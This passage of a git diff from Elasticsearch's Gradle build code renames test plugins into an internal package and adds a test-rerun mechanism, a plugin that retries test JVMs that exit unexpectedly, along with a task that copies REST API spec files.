org.elasticsearch.gradle.internal.test; import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.Plugin; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/RestIntegTestTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestIntegTestTask.java similarity index 94% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/RestIntegTestTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestIntegTestTask.java index 2d1c87163634e..f2a2434e60e73 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/RestIntegTestTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestIntegTestTask.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import org.elasticsearch.gradle.testclusters.StandaloneRestIntegTestTask; import org.gradle.api.tasks.CacheableTask; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/RestTestBasePlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestTestBasePlugin.java similarity index 95% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/RestTestBasePlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestTestBasePlugin.java index 1427d11754505..824153764da3e 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/RestTestBasePlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestTestBasePlugin.java @@ -6,11 +6,10 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; -import org.elasticsearch.gradle.ElasticsearchTestBasePlugin; +import org.elasticsearch.gradle.internal.ElasticsearchTestBasePlugin; import org.elasticsearch.gradle.FixtureStop; -import org.elasticsearch.gradle.SystemPropertyCommandLineArgumentProvider; import org.elasticsearch.gradle.testclusters.ElasticsearchCluster; import org.elasticsearch.gradle.testclusters.StandaloneRestIntegTestTask; import org.elasticsearch.gradle.testclusters.TestClustersPlugin; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestTestPlugin.java new file mode 100644 index 0000000000000..b396879371d2e --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/RestTestPlugin.java @@ -0,0 +1,46 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test; + +import org.elasticsearch.gradle.internal.BuildPlugin; +import org.elasticsearch.gradle.internal.InternalTestClustersPlugin; +import org.gradle.api.InvalidUserDataException; +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.plugins.JavaBasePlugin; + +import java.util.Arrays; +import java.util.List; + +/** + * Adds support for starting an Elasticsearch cluster before running integration + * tests. Used in conjunction with {@link StandaloneRestTestPlugin} for qa + * projects and in conjunction with {@link BuildPlugin} for testing the rest + * client. + */ +public class RestTestPlugin implements Plugin { + private final List REQUIRED_PLUGINS = Arrays.asList("elasticsearch.build", "elasticsearch.standalone-rest-test"); + + @Override + public void apply(final Project project) { + if (REQUIRED_PLUGINS.stream().noneMatch(requiredPlugin -> project.getPluginManager().hasPlugin(requiredPlugin))) { + throw new InvalidUserDataException( + "elasticsearch.rest-test " + "requires either elasticsearch.build or " + "elasticsearch.standalone-rest-test" + ); + } + project.getPlugins().apply(RestTestBasePlugin.class); + project.getPluginManager().apply(InternalTestClustersPlugin.class); + final var integTest = project.getTasks().register("integTest", RestIntegTestTask.class, task -> { + task.setDescription("Runs rest tests against an elasticsearch cluster."); + task.setGroup(JavaBasePlugin.VERIFICATION_GROUP); + task.mustRunAfter(project.getTasks().named("precommit")); + }); + project.getTasks().named("check").configure(task -> task.dependsOn(integTest)); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/SimpleCommandLineArgumentProvider.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/SimpleCommandLineArgumentProvider.java similarity index 95% rename from buildSrc/src/main/java/org/elasticsearch/gradle/SimpleCommandLineArgumentProvider.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/SimpleCommandLineArgumentProvider.java index ca626790d6ce6..edd49f086ccdd 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/SimpleCommandLineArgumentProvider.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/SimpleCommandLineArgumentProvider.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal.test; import org.gradle.process.CommandLineArgumentProvider; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/StandaloneRestTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/StandaloneRestTestPlugin.java similarity index 91% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/StandaloneRestTestPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/StandaloneRestTestPlugin.java index ae03676a82419..f4f5e26ace2f8 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/StandaloneRestTestPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/StandaloneRestTestPlugin.java @@ -6,13 +6,13 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; -import org.elasticsearch.gradle.ElasticsearchJavaPlugin; -import org.elasticsearch.gradle.ExportElasticsearchBuildResourcesTask; -import org.elasticsearch.gradle.RepositoriesSetupPlugin; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.internal.ElasticsearchJavaPlugin; +import org.elasticsearch.gradle.internal.ExportElasticsearchBuildResourcesTask; +import org.elasticsearch.gradle.internal.RepositoriesSetupPlugin; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; import org.elasticsearch.gradle.internal.precommit.InternalPrecommitTasks; import org.elasticsearch.gradle.precommit.PrecommitTasks; import org.elasticsearch.gradle.testclusters.TestClustersPlugin; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/StandaloneTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/StandaloneTestPlugin.java similarity index 92% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/StandaloneTestPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/StandaloneTestPlugin.java index 530dfd586e438..5614b7d2f215c 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/StandaloneTestPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/StandaloneTestPlugin.java @@ -6,9 +6,9 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; -import org.elasticsearch.gradle.ElasticsearchJavaPlugin; +import org.elasticsearch.gradle.internal.ElasticsearchJavaPlugin; import org.gradle.api.Plugin; import org.gradle.api.Project; import org.gradle.api.plugins.JavaBasePlugin; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/SystemPropertyCommandLineArgumentProvider.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/SystemPropertyCommandLineArgumentProvider.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/SystemPropertyCommandLineArgumentProvider.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/SystemPropertyCommandLineArgumentProvider.java index b2788e98eccc3..de00c0cd4f643 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/SystemPropertyCommandLineArgumentProvider.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/SystemPropertyCommandLineArgumentProvider.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal.test; import org.gradle.api.tasks.Input; import org.gradle.process.CommandLineArgumentProvider; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/TestWithDependenciesPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/TestWithDependenciesPlugin.java new file mode 100644 index 0000000000000..fada17f0898dc --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/TestWithDependenciesPlugin.java @@ -0,0 +1,70 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test; + +import org.apache.commons.lang.StringUtils; +import org.elasticsearch.gradle.plugin.PluginBuildPlugin; +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.artifacts.Configuration; +import org.gradle.api.artifacts.ProjectDependency; +import org.gradle.api.plugins.ExtraPropertiesExtension; +import org.gradle.api.tasks.Copy; +import org.gradle.api.tasks.SourceSetContainer; + +import java.io.File; +import java.util.Map; +import java.util.stream.Collectors; + +import static java.util.Arrays.stream; + +/** + * A plugin to run tests that depend on other plugins or modules. + *

+ * This plugin will add the plugin-metadata and properties files for each + * dependency to the test source set. + */ +public class TestWithDependenciesPlugin implements Plugin { + @Override + public void apply(final Project project) { + ExtraPropertiesExtension extraProperties = project.getExtensions().getExtraProperties(); + if (extraProperties.has("isEclipse") && Boolean.valueOf(extraProperties.get("isEclipse").toString())) { + /* The changes this plugin makes both break and aren't needed by + * Eclipse. This is because Eclipse flattens main and test + * dependencies into a single dependency. Because Eclipse is + * "special".... */ + return; + } + + Configuration testImplementationConfig = project.getConfigurations().getByName("testImplementation"); + testImplementationConfig.getDependencies().all(dep -> { + if (dep instanceof ProjectDependency + && ((ProjectDependency) dep).getDependencyProject().getPlugins().hasPlugin(PluginBuildPlugin.class)) { + project.getGradle() + .projectsEvaluated(gradle -> addPluginResources(project, ((ProjectDependency) dep).getDependencyProject())); + } + }); + } + + private static void addPluginResources(final Project project, final Project pluginProject) { + final File outputDir = new File(project.getBuildDir(), "/generated-test-resources/" + pluginProject.getName()); + String camelProjectName = stream(pluginProject.getName().split("-")).map(t -> StringUtils.capitalize(t)) + .collect(Collectors.joining()); + String taskName = "copy" + camelProjectName + "Metadata"; + project.getTasks().register(taskName, Copy.class, copy -> { + copy.into(outputDir); + copy.from(pluginProject.getTasks().named("pluginProperties")); + copy.from(pluginProject.file("src/main/plugin-metadata")); + }); + + Map map = Map.of("builtBy", taskName); + SourceSetContainer sourceSetContainer = project.getExtensions().getByType(SourceSetContainer.class); + sourceSetContainer.getByName("test").getOutput().dir(map, outputDir); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/TestWithSslPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/TestWithSslPlugin.java similarity index 79% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/TestWithSslPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/TestWithSslPlugin.java index 20c5303ad5593..c748532f828d5 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/TestWithSslPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/TestWithSslPlugin.java @@ -6,15 +6,17 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; -import org.elasticsearch.gradle.ExportElasticsearchBuildResourcesTask; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.internal.ExportElasticsearchBuildResourcesTask; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.precommit.FilePermissionsPrecommitPlugin; +import org.elasticsearch.gradle.internal.precommit.ForbiddenPatternsPrecommitPlugin; import org.elasticsearch.gradle.internal.precommit.ForbiddenPatternsTask; import org.elasticsearch.gradle.testclusters.ElasticsearchCluster; import org.elasticsearch.gradle.testclusters.TestClustersAware; import org.elasticsearch.gradle.testclusters.TestClustersPlugin; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Plugin; import org.gradle.api.Project; @@ -23,6 +25,9 @@ import java.io.File; +import static org.elasticsearch.gradle.internal.precommit.FilePermissionsPrecommitPlugin.FILEPERMISSIONS_TASK_NAME; +import static org.elasticsearch.gradle.internal.precommit.ForbiddenPatternsPrecommitPlugin.FORBIDDEN_PATTERNS_TASK_NAME; + public class TestWithSslPlugin implements Plugin { @Override @@ -38,14 +43,19 @@ public void apply(Project project) { t.copy("test/ssl/test-node.jks"); t.setOutputDir(keyStoreDir); }); - + project.getPlugins() + .withType(ForbiddenPatternsPrecommitPlugin.class) + .configureEach(plugin -> project.getTasks().named(FORBIDDEN_PATTERNS_TASK_NAME).configure(t -> t.dependsOn(exportKeyStore))); + project.getPlugins() + .withType(FilePermissionsPrecommitPlugin.class) + .configureEach( + filePermissionPlugin -> project.getTasks().named(FILEPERMISSIONS_TASK_NAME).configure(t -> t.dependsOn(exportKeyStore)) + ); project.getPlugins().withType(StandaloneRestTestPlugin.class).configureEach(restTestPlugin -> { SourceSet testSourceSet = Util.getJavaTestSourceSet(project).get(); testSourceSet.getResources().srcDir(new File(keyStoreDir, "test/ssl")); - testSourceSet.compiledBy(exportKeyStore); - + project.getTasks().named(testSourceSet.getProcessResourcesTaskName()).configure(t -> t.dependsOn(exportKeyStore)); project.getTasks().withType(TestClustersAware.class).configureEach(clusterAware -> clusterAware.dependsOn(exportKeyStore)); - // Tell the tests we're running with ssl enabled project.getTasks() .withType(RestIntegTestTask.class) diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestRerunPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestRerunPlugin.java new file mode 100644 index 0000000000000..1262f0e222e03 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestRerunPlugin.java @@ -0,0 +1,34 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rerun; + +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.tasks.testing.Test; + +import javax.inject.Inject; + +import static org.elasticsearch.gradle.internal.test.rerun.TestTaskConfigurer.configureTestTask; + +public class TestRerunPlugin implements Plugin { + + private final ObjectFactory objectFactory; + + @Inject + TestRerunPlugin(ObjectFactory objectFactory) { + this.objectFactory = objectFactory; + } + + @Override + public void apply(Project project) { + project.getTasks().withType(Test.class).configureEach(task -> configureTestTask(task, objectFactory)); + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestRerunTaskExtension.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestRerunTaskExtension.java new file mode 100644 index 0000000000000..5cf2577163013 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestRerunTaskExtension.java @@ -0,0 +1,64 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rerun; + +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.provider.Property; +import org.gradle.api.tasks.testing.Test; + +import javax.inject.Inject; + +/** + * Allows configuring test rerun mechanics. + *

+ * This extension is added with the name 'rerun' to all {@link Test} tasks. + */ +public class TestRerunTaskExtension { + + /** + * The default number of reruns we allow for a test task. + */ + public static final Integer DEFAULT_MAX_RERUNS = 1; + + /** + * The name of the extension added to each test task. + */ + public static String NAME = "rerun"; + + private final Property maxReruns; + + private final Property didRerun; + + @Inject + public TestRerunTaskExtension(ObjectFactory objects) { + this.maxReruns = objects.property(Integer.class).convention(DEFAULT_MAX_RERUNS); + this.didRerun = objects.property(Boolean.class).convention(Boolean.FALSE); + } + + /** + * The maximum number of times to rerun all tests. + *

+ * This setting defaults to {@code 0}, which results in no retries. + * Any value less than 1 disables rerunning. + * + * @return the maximum number of times to rerun all tests of a task + */ + public Property getMaxReruns() { + return maxReruns; + } + + /** + /** + * @return whether tests tests have been rerun or not. Defaults to false. + */ + public Property getDidRerun() { + return didRerun; + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestTaskConfigurer.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestTaskConfigurer.java new file mode 100644 index 0000000000000..9d116bbe0d8d8 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/TestTaskConfigurer.java @@ -0,0 +1,84 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rerun; + +import org.elasticsearch.gradle.internal.test.rerun.executer.RerunTestExecuter; +import org.gradle.api.Action; +import org.gradle.api.Task; +import org.gradle.api.internal.tasks.testing.JvmTestExecutionSpec; +import org.gradle.api.internal.tasks.testing.TestExecuter; +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.tasks.testing.Test; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +public final class TestTaskConfigurer { + + private TestTaskConfigurer() {} + + public static void configureTestTask(Test test, ObjectFactory objectFactory) { + TestRerunTaskExtension extension = test.getExtensions() + .create(TestRerunTaskExtension.NAME, TestRerunTaskExtension.class, objectFactory); + test.doFirst(new InitTaskAction(extension)); + } + + private static RerunTestExecuter createRetryTestExecuter(Task task, TestRerunTaskExtension extension) { + TestExecuter delegate = getTestExecuter(task); + return new RerunTestExecuter(extension, delegate); + } + + private static TestExecuter getTestExecuter(Task task) { + return invoke(declaredMethod(Test.class, "createTestExecuter"), task); + } + + private static void setTestExecuter(Task task, RerunTestExecuter rerunTestExecuter) { + invoke(declaredMethod(Test.class, "setTestExecuter", TestExecuter.class), task, rerunTestExecuter); + } + + private static class InitTaskAction implements Action { + + private final TestRerunTaskExtension extension; + + InitTaskAction(TestRerunTaskExtension extension) { + this.extension = extension; + } + + @Override + public void execute(Task task) { + RerunTestExecuter retryTestExecuter = createRetryTestExecuter(task, extension); + setTestExecuter(task, retryTestExecuter); + } + } + + private static Method declaredMethod(Class type, String methodName, Class... paramTypes) { + try { + return makeAccessible(type.getDeclaredMethod(methodName, paramTypes)); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } + } + + private static Method makeAccessible(Method method) { + method.setAccessible(true); + return method; + } + + private static T invoke(Method method, Object instance, Object... args) { + try { + Object result = method.invoke(instance, args); + @SuppressWarnings("unchecked") + T cast = (T) result; + return cast; + } catch (IllegalAccessException | InvocationTargetException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestExecuter.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestExecuter.java new file mode 100644 index 0000000000000..cb85c83152605 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestExecuter.java @@ -0,0 +1,82 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rerun.executer; + +import org.elasticsearch.gradle.internal.test.rerun.TestRerunTaskExtension; +import org.gradle.api.GradleException; +import org.gradle.api.internal.tasks.testing.JvmTestExecutionSpec; +import org.gradle.api.internal.tasks.testing.TestDescriptorInternal; +import org.gradle.api.internal.tasks.testing.TestExecuter; +import org.gradle.api.internal.tasks.testing.TestResultProcessor; +import org.gradle.internal.id.CompositeIdGenerator; +import org.gradle.process.internal.ExecException; + +import java.util.Comparator; +import java.util.List; +import java.util.stream.Collectors; + +public final class RerunTestExecuter implements TestExecuter { + + private final TestRerunTaskExtension extension; + private final TestExecuter delegate; + + public RerunTestExecuter(TestRerunTaskExtension extension, TestExecuter delegate) { + this.extension = extension; + this.delegate = delegate; + } + + @Override + public void execute(JvmTestExecutionSpec spec, TestResultProcessor testResultProcessor) { + int maxRetries = extension.getMaxReruns().get(); + if (maxRetries <= 0) { + delegate.execute(spec, testResultProcessor); + return; + } + + RerunTestResultProcessor retryTestResultProcessor = new RerunTestResultProcessor(testResultProcessor); + + int retryCount = 0; + JvmTestExecutionSpec testExecutionSpec = spec; + while (true) { + try { + delegate.execute(testExecutionSpec, retryTestResultProcessor); + break; + } catch (ExecException e) { + extension.getDidRerun().set(true); + report(retryCount + 1, retryTestResultProcessor.getActiveDescriptors()); + if (retryCount++ == maxRetries) { + throw new GradleException("Max retries(" + maxRetries + ") hit", e); + } else { + retryTestResultProcessor.reset(); + } + } + } + } + + @Override + public void stopNow() { + delegate.stopNow(); + } + + void report(int runCount, List activeDescriptors) { + String report = "================\n" + + "Test jvm exited unexpectedly.\n" + + "Test jvm system exit trace (run: " + + runCount + + ")\n" + + activeDescriptors.stream() + .filter(d -> d.getId() instanceof CompositeIdGenerator.CompositeId) + .sorted(Comparator.comparing(o -> o.getId().toString())) + .map(TestDescriptorInternal::getName) + .collect(Collectors.joining(" > ")) + + "\n" + + "================\n"; + System.out.println(report); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestResultProcessor.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestResultProcessor.java new file mode 100644 index 0000000000000..06bd7679a654c --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestResultProcessor.java @@ -0,0 +1,121 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rerun.executer; + +import org.gradle.api.internal.tasks.testing.TestCompleteEvent; +import org.gradle.api.internal.tasks.testing.TestDescriptorInternal; +import org.gradle.api.internal.tasks.testing.TestResultProcessor; +import org.gradle.api.internal.tasks.testing.TestStartEvent; +import org.gradle.api.tasks.testing.TestOutputEvent; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +final class RerunTestResultProcessor implements TestResultProcessor { + + private final TestResultProcessor delegate; + + private final Map activeDescriptorsById = new HashMap<>(); + + /** + * gradle structures tests in a tree structure with the test task itself + * being the root element. This is required to be tracked here to get the + * structure right when rerunning a test task tests. + * */ + private TestDescriptorInternal rootTestDescriptor; + + RerunTestResultProcessor(TestResultProcessor delegate) { + this.delegate = delegate; + } + + @Override + public void started(TestDescriptorInternal descriptor, TestStartEvent testStartEvent) { + activeDescriptorsById.put(descriptor.getId(), descriptor); + if (rootTestDescriptor == null) { + rootTestDescriptor = descriptor; + try { + delegate.started(descriptor, testStartEvent); + } catch (IllegalArgumentException illegalArgumentException) { + logTracing(descriptor.getId(), illegalArgumentException); + } + } else if (descriptor.getId().equals(rootTestDescriptor.getId()) == false) { + boolean active = activeDescriptorsById.containsKey(testStartEvent.getParentId()); + if (active) { + try { + delegate.started(descriptor, testStartEvent); + } catch (IllegalArgumentException illegalArgumentException) { + logTracing(descriptor.getId(), illegalArgumentException); + } + } + } + } + + @Override + public void completed(Object testId, TestCompleteEvent testCompleteEvent) { + boolean active = activeDescriptorsById.containsKey(testId); + if (testId.equals(rootTestDescriptor.getId())) { + if (activeDescriptorsById.size() != 1) { + return; + } + } else { + activeDescriptorsById.remove(testId); + } + if (active) { + try { + delegate.completed(testId, testCompleteEvent); + } catch (IllegalArgumentException illegalArgumentException) { + logTracing(testId, illegalArgumentException); + } + } + } + + @Override + public void output(Object testId, TestOutputEvent testOutputEvent) { + if (activeDescriptorsById.containsKey(testId)) { + try { + delegate.output(testId, testOutputEvent); + } catch (IllegalArgumentException illegalArgumentException) { + logTracing(testId, illegalArgumentException); + } + } + } + + @Override + public void failure(Object testId, Throwable throwable) { + if (activeDescriptorsById.containsKey(testId)) { + activeDescriptorsById.remove(testId); + try { + delegate.failure(testId, throwable); + } catch (IllegalArgumentException illegalArgumentException) { + logTracing(testId, illegalArgumentException); + } + } + } + + private void logTracing(Object testId, IllegalArgumentException illegalArgumentException) { + // Add tracing to diagnose why we see this on CI + System.out.println("Rerun failure test id = " + testId); + System.out.println("Active test descriptors:"); + for (Map.Entry entry : activeDescriptorsById.entrySet()) { + System.out.println("id= " + entry.getKey() + " -- " + entry.getValue().getDisplayName()); + } + illegalArgumentException.printStackTrace(); + } + + public void reset() { + this.activeDescriptorsById.clear(); + this.activeDescriptorsById.put(rootTestDescriptor.getId(), rootTestDescriptor); + } + + public List getActiveDescriptors() { + return new ArrayList<>(activeDescriptorsById.values()); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/CopyRestApiTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/CopyRestApiTask.java new file mode 100644 index 0000000000000..80096039258d1 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/CopyRestApiTask.java @@ -0,0 +1,216 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.gradle.internal.test.rest; + +import org.elasticsearch.gradle.VersionProperties; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.gradle.api.DefaultTask; +import org.gradle.api.file.ArchiveOperations; +import org.gradle.api.file.DirectoryProperty; +import org.gradle.api.file.FileCollection; +import org.gradle.api.file.FileSystemOperations; +import org.gradle.api.file.FileTree; +import org.gradle.api.file.ProjectLayout; +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.provider.ListProperty; +import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.InputFiles; +import org.gradle.api.tasks.Internal; +import org.gradle.api.tasks.OutputDirectory; +import org.gradle.api.tasks.SkipWhenEmpty; +import org.gradle.api.tasks.TaskAction; +import org.gradle.api.tasks.util.PatternFilterable; +import org.gradle.api.tasks.util.PatternSet; +import org.gradle.internal.Factory; + +import javax.inject.Inject; +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.util.function.Function; +import java.util.stream.Collectors; + +import static org.elasticsearch.gradle.util.GradleUtils.getProjectPathFromTask; + +/** + * Copies the files needed for the Rest YAML specs to the current projects test resources output directory. + * This is intended to be be used from {@link RestResourcesPlugin} since the plugin wires up the needed + * configurations and custom extensions. + * + * @see RestResourcesPlugin + */ +public class CopyRestApiTask extends DefaultTask { + private static final String REST_API_PREFIX = "rest-api-spec/api"; + private static final String REST_TEST_PREFIX = "rest-api-spec/test"; + private final ListProperty include; + private final DirectoryProperty outputResourceDir; + private final DirectoryProperty additionalYamlTestsDir; + + private File sourceResourceDir; + private boolean skipHasRestTestCheck; + private FileCollection config; + private FileCollection additionalConfig; + private Function configToFileTree = FileCollection::getAsFileTree; + private Function additionalConfigToFileTree = FileCollection::getAsFileTree; + + private final PatternFilterable patternSet; + private final ProjectLayout projectLayout; + private final FileSystemOperations fileSystemOperations; + private final ArchiveOperations archiveOperations; + + @Inject + public CopyRestApiTask( + ProjectLayout projectLayout, + Factory patternSetFactory, + FileSystemOperations fileSystemOperations, + ArchiveOperations archiveOperations, + ObjectFactory objectFactory + ) { + this.include = objectFactory.listProperty(String.class); + this.outputResourceDir = objectFactory.directoryProperty(); + this.additionalYamlTestsDir = objectFactory.directoryProperty(); + this.patternSet = patternSetFactory.create(); + this.projectLayout = projectLayout; + this.fileSystemOperations = fileSystemOperations; + this.archiveOperations = archiveOperations; + } + + @Input + public ListProperty getInclude() { + return include; + } + + @Input + public boolean isSkipHasRestTestCheck() { + return skipHasRestTestCheck; + } + + @SkipWhenEmpty + @InputFiles + public FileTree getInputDir() { + FileTree coreFileTree = null; + boolean projectHasYamlRestTests = skipHasRestTestCheck || projectHasYamlRestTests(); + if (include.get().isEmpty() == false || projectHasYamlRestTests) { + if (BuildParams.isInternal()) { + patternSet.setIncludes(include.get().stream().map(prefix -> prefix + "*/**").collect(Collectors.toList())); + coreFileTree = configToFileTree.apply(config).matching(patternSet); // directory on disk + } else { + coreFileTree = config.getAsFileTree(); // jar file + } + } + + FileCollection fileCollection = additionalConfig == null + ? coreFileTree + : projectLayout.files(coreFileTree, additionalConfigToFileTree.apply(additionalConfig)); + + // if project has rest tests or the includes are explicitly configured execute the task, else 